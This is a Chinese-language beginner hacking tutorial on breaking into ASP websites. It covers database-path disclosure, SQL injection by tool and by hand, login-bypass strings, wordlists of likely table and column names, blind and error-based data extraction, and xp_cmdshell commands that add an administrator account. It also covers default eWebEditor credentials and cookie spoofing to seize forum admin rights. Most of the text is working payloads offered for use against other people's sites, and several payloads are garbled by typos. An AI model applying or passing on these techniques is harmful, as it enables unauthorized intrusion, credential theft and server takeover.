一、技術背景簡介
隨著互聯網絡的飛速發展,各種各樣的大小網站不斷地湧現,在這些大小網站中,動態的網站以其實用性、多樣性佔據了絕對的優勢。
在 動態網站中,站長多是以ASP、PHP和JSP腳本為系統架設的。從目前國內的情況看,ASP系統因其易用性,兼容性(也不排除微軟壟斷的原因),再加上 網上ASP源碼的
豐富,深受各個站長青睞,這一點通過搜索可以很清楚地顯示出來。(如圖1、2)是分別用google和百度搜索ASP系統的常見關鍵字. asp?id=1的結果。正是由於ASP系統
在互聯網上廣泛的應用,針對ASP系統的腳本攻擊最近鬧得是紅紅火火。在這些攻擊中,攻擊者多是利用 注入、暴庫、旁註、cookies欺騙等手段獲取管理員的權限,然後通
過後台取得webshell控制整個站點,繼而通過webshell提升權限獲取服 務器管理權限。

小知識:
什麼是webshell?webshell就是一個相應腳本語言編寫成的,具有在線編輯、刪除、新增文件、執行程序及SQL語句等功能的腳本文件,如著名的海洋頂端就是這樣一個文件。
(如圖3所示)
腳 本攻擊之所以會鬧得紅紅火火,正是因為這門技術掌握簡單,又加之許多傻瓜化的工具的出現,深受廣大菜鳥的喜愛,同時也是各牛人們在服務器系統漏洞越來越少 的今天入
侵的另一妙法。本書通過攻防兩方面的詳細講解及一些防範工具的安全問題,加上本人學習中的一些心得體會,力求讓廣大菜鳥們對腳本攻擊技術有一個全 面的瞭解,希望廣大
菜鳥們能喜歡。因芒果我技術有限,其中有什麼錯誤還望牛人們指正。

二、攻擊篇
俗話說得好,知已知彼,百戰不殆。有攻才有防,現在我就帶領大家走進腳本攻擊之旅,相信大家看完這部份後也能使眾多的ASP站點在你面前哄然倒塌哦!
好了!先來看我們攻擊的總目的,那就是獲取webshell,然後提權!
廢話少說,下面我們正式開始我們的腳本攻擊之旅!
    (一)暴庫
        一般而言,我們要獲取一個站點的shell,必須先獲得對方的後台管理權限,要獲得對方的管理權限當然先要得到對方的管理員用戶各種密碼了!得到對方管理員用戶各種
        密碼的方法有很多,最方便的當數暴庫了。常見的暴庫方法有conn.asp法和%5C大法,不知道是什麼東東啊?沒關係,往下看你就知道了。我 們先從conn.asp說起,conn.asp
        是一個很古老的暴庫方法,它是通過直接訪問數據庫連接文件conn.asp使服務器產生錯誤,通過服務器返 回的錯誤信息提示暴出數據庫地址的。(如圖4、 5)所示就是用
        conn.asp分別暴出動力系統用戶和管理員數據庫的例子。

小知識:
什麼是數據 庫連接文件conn.asp。數據庫連接文件是對數據庫調用的一個文件,裡面包含有被調用數據庫的路徑及數據庫名等,如調用的是SQL數據庫,則還會含有 SQL連接用戶
名和密碼等內容。另外,數據庫連接文件並不都是conn.asp的,有的系統可能會用其它名字,但大多數是用conn.asp的,這裡我們 只是用conn.asp代替類似文件。直接訪問
conn.asp為什麼能暴出數據庫地址呢?那是因為conn.asp與調用文件相對路徑出錯了。

小知識:什麼是相對路徑,絕對路徑?
相 對路徑就是相對於服務管理web根目錄的路徑,如服務器的web根目錄為D:\wwwroot\,這個目錄有一個inc目錄,那麼我們在訪問inc目錄時 只須在瀏覽器中輸入www.×××.com/inc
而不用輸入www.×××.com/www.root/inc,這個inc就是相對於wwwroot為 根目錄的一級目錄,而在這裡這個inc的絕對路徑為D:\wwwroot\inc,為二級目錄。
這樣讀可能大家會不太明白。我們還是再來看前面的 動力系統,動力的conn.asp是放在根目錄下的inc目錄運行的,而許多調用conn.asp的文件都是在根目錄下運行的,因此,考慮到
執行目錄的不 同,conn.asp中數據庫的相對地址是寫成「數據庫所在目錄/數據庫名」的,我們來看動力默認的conn.asp代碼,其中一句表示的就是數據庫的路 徑。當conn.asp被根目
錄下的其它文件調用時,其連接的是根目錄中data目錄下的 *.mdb文件,而當我們直接訪問inc目錄下的conn.asp時,根據conn中的內容,服務器會去請求連接inc目錄下沒有data目錄
,相對路徑 就變成了inc/data/ 。因為inc目錄下沒有data目錄和文件,服務器當然會報錯了,圖5中的錯誤提示內容。很明顯,它 說的是inc下的data\*.mdb不是有效路徑,而inc是我們
當前所在的目錄,所以我們只須把inc後的路徑換成相對路徑貼到web根目錄就是數據 庫的路徑了,這裡我們得到的數據庫路徑為www.×××.com/dada/*.mdb,直接訪問這個地址,看是
不是可以直接下載了啊(如圖6所示)。
下面我們再來看%5C大法。
對一些網站,我們只需要把站點url的最後一個「/」改為%5C就能暴出站點數據庫(如圖7)所示就是用這種方法暴出的數據庫。為什麼%5C大法能暴出數據庫地址呢?開始我也不是
很明白,但後來參考了一下相關的文章,自己弄了一下IIS設置,大致地明白了%5C暴庫的原理。要 明白為什麼%5C大法能暴庫首先要明的%5C代表的是什麼東東。其實,%5C就是
16進制代碼中的「\」,但如果我們直接在瀏覽器中提交「\」,IE會自 動把「\」轉換為「/」,而提交「%5C」是不會被轉換的,最後%5C已經編譯仍是表示「\」的意思。為什麼遇
到「\」就能暴出數據庫呢?還記得我說 conn.asp暴庫時最初是怎麼說的嗎?conn.asp暴庫是相對路徑出錯,IIS報錯信息就暴出了站點數據庫。而%5C就是絕對路徑出錯而引起暴庫
 的。
一般地,在conn.asp中都會有這麼一個語句:
dbpath=server.mappath(「data/data.mdb」),其中server.mappath的作用就是把相對路徑轉換為絕對路徑,只有經過轉換,服務器才能正確讀寫數據據。
server.mappath 讀取的絕對路徑的方法是這樣的,假設IIS根目錄為D:\wwwroot,在這個目錄下有一個bbs文件夾,一套ASP論壇系統就放在這個文件夾中,該論 壇系統的數據庫路
徑為data/data.mdb,那麼server.mappath讀取的路徑就為IIS根目錄+相對路徑,即D:\wwwroot\ bbs\data\data.mdb.
而IIS還有一個特殊的功能,就是虛擬目錄。還是上面的例子,不過這次bbs目錄還在D:\wwwroot 下,而是在E:\bbs,但通過IIS的虛擬目錄設置,我們仍能把bbs視為是在wwwroot
下的。不過這時的目錄指向的是一個物理路徑,IIS為瞭解 決虛擬目錄也能正常訪問的問題,優先查詢了每個目錄是否指向了一個物理路徑,而這種查詢是以「\」做為標誌的。
現在我們可以知道%5C暴庫的原理 了。當IIS遇到了%5C,即是「\」時,IIS就會以為遇到了一個虛擬目錄,便停止向上解析了。如果網站的數據庫是在D:\wwwroot\bbs\ data\data.mdb,而遇到「\」後就會被解析為D:\wwwroot\data\data.mdb,因為wwwroot下沒有data文件夾和 data\data.mdb文件,所以IIS就會報錯,我們的目的就達到了。

下面是暴庫過程中的一些常見問題及解決方法。
1、暴庫時並不顯示×××錯誤,而是Http500錯誤。
      這個問題嗎……其實很簡單,那是你自己沒有對IE進行設置所致。打開IE,到工具→internet選項→高級處把顯示友好的http錯誤信息前的「√」去掉,應用後刷新頁面看看,數據庫地址          出來了吧?(如圖8)
2、暴出的數據庫是以.asp結尾的,下載不了。
        呵 呵,其實.asp的數據庫也是可以下的,我們只須將數據庫地址複製下來,用網際快車等工具就可以下載了。不過,有的數據庫中專門建了一個防下載的表,裡面 寫了一條錯誤的ASP的        語句,一般是<% nodownload%>,這時如果把數據庫改為asp後綴的就下不了了。(如圖9、10)
3、爆出的數據庫中含有「#」號,下載不了。
        這個嗎,也是可以解決的。還記得說%5C暴庫原理時說過%5C其實是「\」的16進制代碼嗎?同樣的,我們也可以用「#」的16進制代碼%23代替「#」,這樣數據庫不就可以下載了            嗎?(如圖11)。
4、ASP的數據庫下載回來後無法打開或下載回來的數據庫打開要密碼。
       ASP的數據庫當然無法打開了,你只須把它的後綴改為mdb就可以了啊!如果打開數據庫要密碼可以找一些ACCESS密碼破解的工具,ACCESS的密碼是很好破的。
5、我在網吧上網,沒ACCESS怎麼打開數據庫?
        可以用輔臣數據瀏覽器打開。
6、我遇到了一個超BT的網站,數據庫中管理員密碼全是16/32位無規律的密碼,而且我一個個輸入後都說我的密碼不對,怎麼回事啊?
        暈絕,那16/32位的密碼是經md5加密的,我們可以用一個md5破解工具把密碼還原(如圖12),不過md5可不是那麼好破的東東哦。
7、數據庫明明是.mdb的我卻下載不了。
        這個問題在非安全第5期提過,這時你可以用工具下載試試,如果還不行那就是可能是數據庫是位於虛擬目錄中的,那就沒辦法了。
8、我用%5C暴庫顯示「處理url錯誤,請與系統管理員聯繫」,用conn.asp暴又一片空白。
        用conn暴庫一片空白是因為conn中加了容易錯語句,而顯示「處理url錯誤,請與系統管理員聯繫」則是服務器屏敝了錯誤信息顯示,這時暴庫就沒有用了。

(二)注入
在 眾多針對腳本系統的攻擊中,注入可謂是鬧得最紅火的攻擊手段了。那麼什麼是注入攻擊呢?來自官方的說法是:「當應用程序使用輸入內容來構造動態SQL語句 以訪問數據庫時,
會發生SQL注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字符串來傳遞,也會發生SQL注入攻擊。SQL 注入可能導致攻擊者能夠使用應用程序登錄
在數據庫中執行命令。如果應用程序使用特權過高的帳戶連接到數據庫,這種問題會變得很嚴重。」目前引起SQL注入的原因主要是程序員在編寫帳腳本程序時對特殊字符過濾的不完
全引起的,因為一個腳本系統中文件眾多系統開發人員不可能每一個文件都考慮得十分周全,這樣使我們有機可趁了。加上注入攻擊的易學易用性,使得最近的注入攻擊成風。
說了這麼多還沒玩過注入攻擊的朋友們是不是躍躍欲試了呢?好,下面我就帶領大家開始我們的注入之旅。

(1)工具篇
由於注入攻擊的興起,越來越多的注入攻擊工具也隨之出現了,而且這些工具也越來越傻瓜化,深受我們菜鳥的喜愛。下面我們就先講講怎麼利用工具來實現注入攻擊吧。
注入攻擊的工具有很多種,這裡我推薦大家用小竹的NBSi2,教主的HDSi和阿D的注入工具以及小榕的wedtwis圖形版,這幾種工具的界面分別如圖13-16所示,下面我將主要以
NBSi2進行講解,其它幾個工具的使用也是類似的,大家會用NBSi2就可以了。
下 載NBSi2後我們需要把NBSi2文件夾中system32內的文件複製到系統文件夾的system32內,win9X的可以放到system內,運行 NBSi2登錄後,我們就可以看到圖13所示界面。
這個界面是注入分析界面,如果我們知道一個注入點就可以在注入地址處填入注入點的url。現在我們不知 道哪個地址可以注入,我們就可以來到注入掃瞄界面(如圖17),在掃瞄
地址那裡我們填上欲掃瞄網站的url選全面掃瞄,然後點開始掃瞄,不一會下面就會列 出可能存在的注入地址和注入的可能性高低如(圖18)。

小技巧:如果用NBSi2掃瞄時掃www×××.com掃不到或掃到的全是可能性低的注入點,那麼我們可以試著掃www×××.com/××.asp?id=××,這時你可能會得到一個注入可能性高的注入
點。我 們選擇一個注入可能性高的注入點,這個注入點的url會出現在下方的方框中(如圖19),點方根旁的「注入分析」,我們就會來到注入分析界面。開始分析後 不久我們就可以得
到這是一個數字型+ACCESS的注入點(如圖20)我們在表名的大方框下點擊開始猜解,這時會單出一個提示(圖21)不管它,確定,不 一會就會猜出表名,選擇要猜解的表名,一般
是admin,然後用類似的方法猜出列名,同時選中要猜解的列,用類似的方法就可以猜出列中的數據了。(如圖 22)就是我猜的管理員用戶和密碼。
當然得到的密碼也可能是經MD5加密過的,這時我們就要破解之後才能用了。只得到用戶名和密碼如果不知道後台 地址也是沒用的。那麼我們就對該站的後台進行掃瞄吧。NBSiZ雖說也
帶有掃瞄功能,但因為它的字典不夠強大,這裡就以HDSI為例了(如圖23)所示, 打開HDSI後選擇「後台地址掃瞄」,在掃瞄地址處填上站點url http://www.×× ×.com,然後點開始掃
瞄,不一會就會在中間的框中迅速閃過被掃瞄的地址,地址後面有一個用中括號括起來的數字,404表示頁面存在,403表示禁止訪 問,500表示頁面錯誤,200表示頁面存在,302表示
頁面有轉向,如果我們直接用瀏覽器訪問上進幾種情況的頁面會出現圖24-28所示的頁面。
掃瞄結束後,HDSi會把可能存在的後台地址列到下方的框中(如圖29),如果沒有掃瞄後台則會列出你所填的掃瞄地址(如圖30)。
好了,找到後台我們就可以用得到的用戶和密碼登錄後台管理了,至於進了後台除了刪文章發發公告和來嚇嚇管理員還有什麼用,我們後面再說。
上 面說的是針對ASP+ACCESS的注入,其實注入攻擊最好玩的還是SQL注入,跟ASP+ACCESS的注入一樣,ASP+MSSQL的注入在經過 NBSi2的掃瞄→檢測後也可以直接去讀數據庫的
信息,但對SQL的注入而言,這麼做顯然是不見誘惑的,因為SQL的注入我們可以做更多的事。
在 檢測到一個網站有SQL的注入點時,NBSi2通常出現(如圖31)所示的界面,我們注意看這個界面ACCESS注入時的不同,它在上面多了一個小框,上 面寫出了當前的數據庫名,連接
帳號及權限等信息。在這裡我遇到我是Sa權限,比系統管理員權限還大!現在我們不去掃用戶數據去幹什麼呢?當然有得玩了!我 們先用NBSi2的SQL弱口令掃瞄功能看看(如圖32),
這次我很幸運,遇到了台sa連接且口令為空的扒器,馬上搬出SQL連接器吧,(如圖33)所 示,我們填上連接IP,用戶名Sa,密碼為空,好了,連上去了,趕快執行命令把自己升為系統
管理員吧!

然後再開個3389或telnet,呵呵,恭喜你,又抓到一員小雞了。
如果沒有SQL弱口令怎麼辦呢?沒問題我們還可以用NBSi2的另一個功能執行我們的命令。
雖 然現在遇到的服務器SQL沒有弱口令,但用NBSi2掃得的結果中我們知道當前用戶是具有Sa權限的,這時我們可以用NBcommander命令執行器執 行命令。選擇「掃瞄及工具」→「Nbcoommandaer命令執行器」,如圖33所示,然後來到了(圖34)所示的NBcommander命令執行器界 面,在「注入地址」中輸入注入點鏈接,並選擇注入類型,然後句選「嘗試回
顯結果」及「執行Dos命令」項,並在「命令」中輸入執行的系統命令,這裡我要服 務器開啟了什麼系統服務,就輸入了「netstal-an」點「執行」後,即可看到服務器上,此時打開的服
務了(圖35)。

怎麼樣,現在可以執行 任意命令了吧?什麼,用慣widws記不得這麼多Dos命令?暈!不用急,NBSiZ很照顧小菜的。我們在「NB commander命令執行器」中句選「執行Dos命令「後,NBSiZ會自動彈出常用的DOS命令,句選執行SQL命令也同樣會彈出常用的SQL命令 (如圖36、37所示)。怎麼樣,這回直接選就行了吧,不用記那麼多命令了。
上面說的都是基於Sa權限的命令執行,如果遇到一個沒有Sa權限的機 器呢?沒關係,其實只要有Pablic以上的權限,我們就能遍歷服務器的文件了。這時,我們要請出NBSi2另一個實用
的工具「MBTreelist」 了,還是從「掃瞄的工具」中打開「NBTreelist」,我們來看(圖38)所示頁面。勾選右邊「文件」和「文件夾」項,然後在「輸入路徑」中輸入要查 看的磁盤路徑
。點列目錄……,慢慢,不要急,先去泡碗麵吃了回來先。吃飽了,回來也就看到了列出的目錄信息了(如圖39)。通過這個工具,我們就可以瞭解 服務器上裝了什麼軟件,數據庫在哪
等信息了,是不是行實用呢?

(2)手動篇
毛主席說得好:「自己動手,豐衣足食」(哪來的雞蛋?不要浪費國家糧食啊!)只用工具是永遠得不到提高的。所以我們還要學會手動注入。
說 起手動注入,就不得不說一個很高笑又很經典的漏洞。雖然這個漏洞現在已經很罕見了(其實也很常見的,前段時間我還在某知名大學計算機系的網站發現該漏洞, 更搞笑的是這個大
學還開有信息安全專業,汗),但卻十分實用。我們找到一個站的管理入口後,要以嘗試在用戶名和密碼處都輸入'or''='(如圖40), 怎麼樣,直接進入後台了吧?類似的漏洞還有在用戶
名處輸入管理員的用戶名,如admin,密碼處輸入一個SQL語句,同樣可以通過驗證,常見的這類語句有 a'or'1=1--   'or1=1-- "or1=1--     or1=1--   'or 'a '='a   "or"="a'='a   ' ) or (' a ' =' a 等。
好了,還是說說常規的生動注入吧。我們打開一個類似www.×××.com/×××asp?id =××的url後,先在這個url後加個單引號,變成www.×××.com/×××.asp?id=×× ',如果出現錯誤提示(圖41),則說明可能存在注入漏洞。然後分別提交www.×××.com/×××.asp?id=××and 1=1和www.×××.com/×××.asp?id=××and 1=2,兩次返回的頁面不同,則說明有注入漏洞,我們就能
開展下一步的行動了。(如圖42、43)

下面先以ACCESS的數據庫為例說說怎麼手動猜數據庫內容:
我 們先來猜數據庫的表名,猜表名的語句為在注入點後加上「and exists (select count from 表名)」還是以www.×××-com/×××.asp?id=××為例,如果我猜這個站的數據庫中有個名為123
的表,那就提交www. ×××.com/×××.asp?id=×× and exists (select count from 123),結果返回錯誤頁面(圖44),說明數據庫中沒有123這個表,那我再猜有沒有admin這個表,於是提
交如下語句,www.×××.com/× ×.com/××.asp?id=×× and exists (select count from cdmin),返回正常頁面圖45),說明存在 admin表,我們可以繼續猜列名。

小提示:
常見的表名有:admin
a_admin
x_admin
m_admin
adminuser
admin_user
article_admin
administrator
manage
manager
member
memberlist
user
users
userinfo
user_info
admin_userinfo
userlist
user_list
login
用戶
密碼
會員
登錄
movie
movies
news
password
clubconfig
config
company
book
art
bbs
dv_admin等。
好, 猜出存在admin表後,我們就可以猜到列名了,猜列名的語句是「and (select count(列名)from表名)>0。同樣的,如果返回錯誤,則說明此列不存在,如果返回正常,則存在此列。
我這裡提交的是www×××. com/×××.asp?id=×× and (select count (username)from admin)>0,返回正常,繼續猜,可知admin表中還有Password和id這兩個列。

小提示:    
常見的列名有:id
admin

adminid
admin_id

adminuser
admin_user

adminuserid
admin_userid

adminusername
admin_username

adminname
admin_name

adminpwd
admin_pwd

adminpass
admin_pass

adminpassword
admin_password

administrator
administrators

usr
usr_n

usrname
usr_name

usrpass
usr_pass

usrnam
nc
uid

user
userid
user_id

name
username
user_name

pass
userpass
user_pass

password
userpassword
user_password

pwd
userpwd
user_pwd

useradmin
user_admin

pword
p_word

passwd
pass_wd

yonghu
用戶
用戶名
mima
密碼

dw
oklook等。
好了,猜完表名和列名,我們就該猜列長度了,猜解語句為:
and (selct top l len(列名)from表名>×。其中×是數字,我們需要變換這個×事猜列長度,如這裡我提交www.×××com./××.asp?id=×× and (selct top l len (username) from
admin>1、>2、>3、>4都返回正常,猜到>5時出現錯誤提示,說明正經列長度為5,另外,變換top後的數字就可以猜此列的第N行長度了。
激 動人心的時候到了,我們要猜用戶名和密碼了。猜用戶名和密碼需要用ASC和Mid函數。用Mid(列名,N,1)截取第N位字符,再用ASC mid(列名,N,1))得到ASCLL碼。
這裡變換N可得到用戶名或密碼的第N位的ASCLL碼,猜用戶名/密碼的語句為:and (selelt top l asc(mid(列名N,1)) from表名)>×,×為ASCLL碼,top後數字為該列第N行。這
裡我提交www. ×××.com/×××.asp?id=×× and ( select top l asc(mid (username, N,1)) from admin)>10,返回正常,繼續提交>50,正常>100,顯示錯誤,提交>90,正常……
一直到>96正常,>97顯示錯誤,得到用戶名第一 位ASCLL碼為97,然後打開ASCLL碼轉換器(如圖46),得知第一位是a,變換N值可猜出用戶名為admin,變換列名可得密碼。
我們可用 NBSi2試試,猜解的結果是一樣的(圖47)。    

我們可以看到,對ASP+ACCESS的注入主要是靠猜測和運氣,如果遇到一個常見的系 統我們就可以下載源碼看數據庫中的表名和列名,從而直接猜用戶名和密碼,費時又費力。
但對ASP+MSSQL的注入就不同了,它不但可以直接爆出表名和庫 名,還能直接執行一些命令,修改數據庫等。怎樣,心動了吧?下面就跟我來一起玩SQL的注入吧。
還是以www.×××com./×××.asp? id=××為例,如果用單引號,and   1=1和and 1=2檢測到這個網站有漏洞,並以加單引號返回的錯誤信息中得知這個站用的是SQL的數據庫(圖48),
那麼我們可以提交這麼一個語句: having 1=1--可得到另一個錯誤信息,這裡我提交www. ×××.com/××.asp?id=×× having 1=1--,返回如圖49所示頁面,其中admin.id就是一個表名
admin 一個列名id。

繼續提交www. ×××.com/×××/.asp?id=×× group by admin .id having 1=1--可得到另一個列名username,繼續提交www. ×××.com/×××.asp?id=×× group by admin.id , admin .username having 1=1--,就能爆出另一個列名password(如圖49、50)。  
用類似的方法 提交直到不再報錯,我們就能得到當前表的所有列名為id、username、psaaword上面這個方法的原理為:在SQL語句中,hving 1=1--是與group by結合使用進行條件判斷的,如果語句不完整,數據庫會返回錯誤信息,並顯示一個表名和一個列名。
但上面的方法只能暴當前表中的列,下面我教大家一個爆任意表名和列名方法。
此方法的相關語句為and (select top l name from (sekect top[N]id,name from sysobjects where xtype=char(85))T order by   id desc)>1
其 中[N]代表數據庫中的第N個表,這裡我們來提交:
www.×××com./×××.asp?id=×× and (select top l name from (select top [10]id,name from bysobjects where xtype=char(85)) T order by id desc)>1

這時就可以暴出一個表名為admin的表,(如圖51)
要爆任意表名中的任意列名,語句為:
and (select top l col_ amelobject_id(表名),[N] from sysobjects)>1,我們這裡提交:www. ×××.com/×××.asp?id=×× and (seclect top 1 col_namelobjet_id ( 『admin',1) from sysobjects )>1,返回(如圖52)所示,我們就可以知道第1個列名為id了。(其中[M]為第M個列名)。
好了, 現在爆出了表、列名我們就可以讀其數據庫中的數據了,這個命令的相關語句為:and (select top 1 列名from 表名where id=[N]>1,其中N代表第N條數據,這裡我們提交www.×××.com/×××.asp?id=×× and (select top 1 asernaose from admin where id =1)>1,就會顯示如圖52所示情況,我們就知道了admin表中username第1條款數據為admin,
用類似的方法我們還能直接讀出密 碼,怎麼樣,方便多了吧?

如果是ASP+ACCESS的,我們得到用戶名和密碼也就完成了,但SQL的功能可大得多了,想想你有沒有因為密碼是 md5加密過的破不出來而煩惱啊?在SQL的注入中,你完全不用擔
心這個,因為SQL的注入是可以修改數據庫任意數據的,相關語句因為:「updata表 名set列名=『內容』where id=cf ′′′
如果我們這裡提交www. ×××.com/×××.asp?id=××」;updata admin set password=′123′ where id =『1』」我們就id為1的管理密碼改為123了,當然我們也可以新增一個管理員相關
語為:「;insert into 表名valaes(內容)--,如我們提交www. ×××.com/×××.asp?id=××」;inert into admin valaes (123) –就能能往admin中寫入123了。

另外,SQL的注入還可以利用許多擴展功能,現在我只舉幾個常用的。
1、判斷當前數據庫權限www. ×××.com/×××/ asp?id=××and user>0返回(圖53),其中值dbo就是讀當前為dbo權限。
2、獲得當前數據庫名www. ×××.com/×××.asp?id=×× and db_name( ) >0,返回(圖54),值「admin」表明當前連接數據庫名為admin。添加系統帳戶並提權:
www. ×××.com/×××.asp?id=××; exec master .. xp_ cmdshell 」 net user 123 123 /add. 添加用戶名123, 密碼123用戶。
www. ×××.com/×××.asp?id=××; exec master .. xp_cmdshell 」 net localgroup adminis trators 123 ladd , 把123升為管理員,
其實,我們只須在xp_cmdsell後用引號寫上cmd語句就能執行了。

其實SQL注入的功能是十分強大的,我就不再多說了,大家日後自己慢慢體會吧。

(3)常見問題:
我用NBSi2檢測時提示暫來檢測到注入漏洞,要我輸入特徵字符怎麼辦?
用手動注入,and 1=1和and 1=2檢測,前後不同的字符便是特徵字符,找一部份填進去,再檢測就可以了。
服務器做了錯誤信息屏蔽,看不到報錯處息怎麼辦?
這個對ASCCES的注入影響不大,看它什麼時候出錯就行了,對SQL注入會有點阻礙,可以用NBSi2代勞。
我輸入一個單引號就說我非法注入,還記了我IP,我好怕啊!有什麼辦法嗎?(圖55)
這是加了防注入通用程序,想直接注入恐怕不行,但可以從這個程序本身的漏洞攻擊,具體下面會講到。
我找了很久也找不到注入點,怎麼辦?
你可以看看一些容易被忽略的地方,如打印、編輯、資料修改、自定義頭像搜索等。如實在找不到可以用下面進的其它方法。

(三)旁註及cookies欺騙
    (1)旁註
        說 起旁註,其實也就是看同台服務器上是否綁有多個站點,如果綁有多個站點,那麼就算其中一個站點的腳本做得很安全,也可以從另一個站點進行突破。我們說的旁 註一般
        指的是綁了不同域名的不同站點上的旁註,這裡我稱為廣義上的旁註。其實,還有一種由於同一站點內使用了多套不同程序,其中一套也許比較安全,但另一 套卻是有漏洞的
        。這裡我稱之為狹義的旁註。如動力3.51+dvbbs7.1的站點中,dvbbs7.1也許比較安全,但動力3.51漏洞百出,這就是狹 義旁註利用的一個例子。關於狹義的旁註比較好理解
        和利用,我這裡就不多說了,        只是說一下一個極易被管理員忽略的狹義旁註的利用就可以了。
        這個容易 被人忽略的地方是ewebeditor,ewebeditor是一款優秀的基於網頁的在線編輯器,很多系統都會選擇它作為第三方插件,實現在線編輯的功 能。但是,許多站長並不
        知道自己下的系統中還包含有ewebeditor,所以是很少有人會去改它的默認管理員用戶名、密碼數據庫路徑的,這就給我們帶來 了入侵的機會。
        怎麼判斷一個系統有沒有用ewebeditor呢?如圖56所示,如果有圖中標記處的按扭出現的系統就大致可以確定該系統是用了ewebeditor。
        好 了,下面在出現圖56所示頁面的地方直看源代碼,我們現在得到了ewebeditvv的路徑為edit,訪問www. ×××.com/edit/admin_login.asp,來到圖57所示頁面,用默認用戶
        名admin,密碼admin試試是不是進去了啊?(圖 58)。如果不行,那就試試訪問www. ×××.com lelit/db/ewebeditor.mdb,,看是不是能下載ewebeditor的數據庫了呢?
        (圖59)不過密碼是md5的,又要慢慢破了。

        簡 單提了一下一個容易被人忽略的ewebeditor,下面要開始講我們通常講的廣義上的旁註了。引起這個旁註的原因,主要是因為我們現在使用的DNS域名 是需要統一向總部位
        於美國的國際域名組織進行註冊的,而國際域名組織為了方便管理等原因,將域名的信息放到了whois查詢系統中,這樣,只要用 whois就能查出某域名解析的IP是什麼了,得
        到解析的IP後,我們可以繼續通過whois的查詢功能,在域名記錄裡尋找到所有解析到這個IP的域名信 息,這樣我們就可以知道一個服務器上綁了多少個站點了。

下面我們來具體實踐一下,就拿我的cnnsafe.com開刀吧。
首先打開http://wbois.webbosting.info, (如圖60)所示,在框中輸入cnnsafe.com,點Go,來到(圖61)所示頁面,得到CNN安全網的IP,然後再點那個IP,就會來到(圖62)
所示頁面,還綁有幾個域名在這裡的嗎,呵呵,下面就可以看看其它站有沒有什麼詞了,如果E文不好,也可以用老兵的工具查詢,步驟是一樣的(圖63- 65)。找到在同一服務器
上的站後就用前面的方法檢查站點安全性吧。

(2)cookies欺騙
現在有很多系統為了方便網友瀏覽,都使用了cookies技術以避免多次輸入用戶名和密碼等信息,那麼,我們只要對服務器遞交給用戶的cookie進行改寫,也就是cookies欺騙,以達
到欺騙服務程序的目的。

小 知識:什麼是cookies?cookies是一小段文本信息,伴隨著用戶請求和頁面在web服務器和瀏覽器之間傳遞。用戶每次訪問站點時,web應用程 序都可以讀取cookies包含的信息。
使用cookies能夠達到多種的,所有這些目的,所有這些目的都是為了使web站點記住你。
上面我們大 致瞭解了一下cookies欺騙的原理,下面我們來看一下它有成因,cookies欺騙的成因一般是對cookies的驗證不嚴,如當年動網6.0的欺騙 和前段時間leadbbs3.14插件美化
版的欺騙。其中leadbbs3.14插件美化版的欺騙猶為嚴重,居然可以直登錄後台,讓我這個leadbbs 的忠實fans著實心寒了一天晚上(第二天得知有漏洞的是美化插件版,而官方的3.14a
補丁N年前就補了這個洞,汗)。為了大家對這個驗證不嚴造成的 cookies欺騙有感性的認識,徵得偶朋友「白天的描[F•S•T]」的同意,現將它寫的對lead欺騙的文章引用如下:
經多次測試及在火狐兄 弟們的幫助下,發現在Leadbbs 3.14美化插件版能欺騙成功(官方說是在某一時段發佈的leadbbs3.14論壇存在這個漏洞,估計美化的人正好下了那一時段的版本。),而非美化插 件版試了十多個論壇了都不行!所以這次的目標是Leadbbs美化插件版。首先在百度上輸入關鍵字 下載 leadbbs美化插件版,,呵呵,為什麼要打這個關鍵字呢?等會
你們就明白了。搜索出了一大堆葉子,隨便點了一個下面頁面,看到了程序的演示地址,目標 就是它的演示地址。進到演示地址的那個論壇,用IE註冊了一個帳號,這時拿出mini瀏覽器,
在URL中填入論壇地址,點get,但當頁面打開到一半時突 然出現奇怪的現象,如圖1,

根本無法登陸。難道說他們早已發現這個漏洞然後自己開發出了補丁?反覆試了幾次還是這樣,後來查看了一下論壇 首頁的代碼,發現原來是太極鏈計數器搞的鬼,嘿嘿,不怕,
回到mini瀏覽器,點擊settings這個選項,在 show GET-Dialog 這項前面打上鉤,再在URL上輸入論壇地址,點get,當頁面載入一半時出現了一個框框,圖2,
這時只要點cancel就不會發生圖一這種現象了。下面開始欺騙,在管理團隊中找到總斑竹的ID,在mini瀏覽器上選擇cookies這項,看到cookies是這樣的:

gbtoyAtBD=0; path=/
ASPSESSIONIDAQDRRDBD=DMMBDEPBNOGCKDGKBKEHGHAN; path=/
gbtoyTime=2005%2D3%2D25+19%3A48%3A19; path=/
gbtoy=pass=111222333&user=%B0%D7%CC%EC%B5%C4%C3%A8; path=/

其中user=後面的就是ID了,把總斑竹的ID換上去,先點一次get,沒反應,再點一次post,呵呵,比較變為總斑竹了圖3,接著在URL上輸入 _blank rel=nofollow>www.xxx.com/bbs/manage ,這個是leadbbs的默認後台管理地址,點get,進後台傳馬去了。
怎 麼樣,可怕吧?其實,即使是驗證沒問題,還是可能造成cookies欺騙的。其實對cookies的欺騙無外乎就是用戶名和密碼,以BBSXP為例,登錄 後,我們提取用戶名為光芒果,
密碼為123456的用戶的cookies為:其中usetname=「後面的就對應用戶名光芒果,「passmrd=」後 面的就對應123456的MD5密碼,有些cookies中還會包含url,這也是可以明
顯看出來的。前段時間BBSXP5.15不是傳出個 blog.asp的漏洞嗎?其實這個漏洞是我首發的,只不過大過年的沒有深入研究,告訴yuzi它又置之不理,活該它倒霉。現在我們拿出
BBSXP暴庫工 具,(如圖69)所示,輸入注入點符信息,點破解,嘿,區長的Md5是不是出來了啊?(圖70),下面我們拿出老兵的修改cookies瀏覽器(圖 71),登錄這個BBSXP
的論壇後,點擊上方那個小鎖頭(圖72),把username=光芒果中的「光芒果」換為區長的用戶名,「password =」後面的換成暴出的md5密碼。刷新,(如圖73)所示,我們
變成社區區長了,神吧!
對於cookies欺騙,我還發現了一種新的方法,就是以 前台欺騙後台。大家也許要問我,前面那個leadbbs3.14美化插件版不是可以直接欺騙後台嗎?不錯,但並不是所有系統的前、
後台的cookies都 是相同的,如動力3.0,這可是個老系統,各方面的漏洞都很多,但行到的密碼是Md5的,可不太好玩。別急,不是還有cookies欺騙嗎?先在本地架個 一樣的系統,
還是用老兵的修改cookies的瀏覽器,訪問本地系統的後台,提取cookies,這下我們得到了cookies的樣式,再把通過其它手段 得到的欲入侵站點的用戶名和密碼等替換這個cookies
的相應信息、保存起來,然後我們到欲入侵站點註冊一個用戶點「發表文章」, 然後切換到「源代碼」模式,如(圖74)所示,輸入<a href=「admin_index.asp」> cookies欺騙</a>
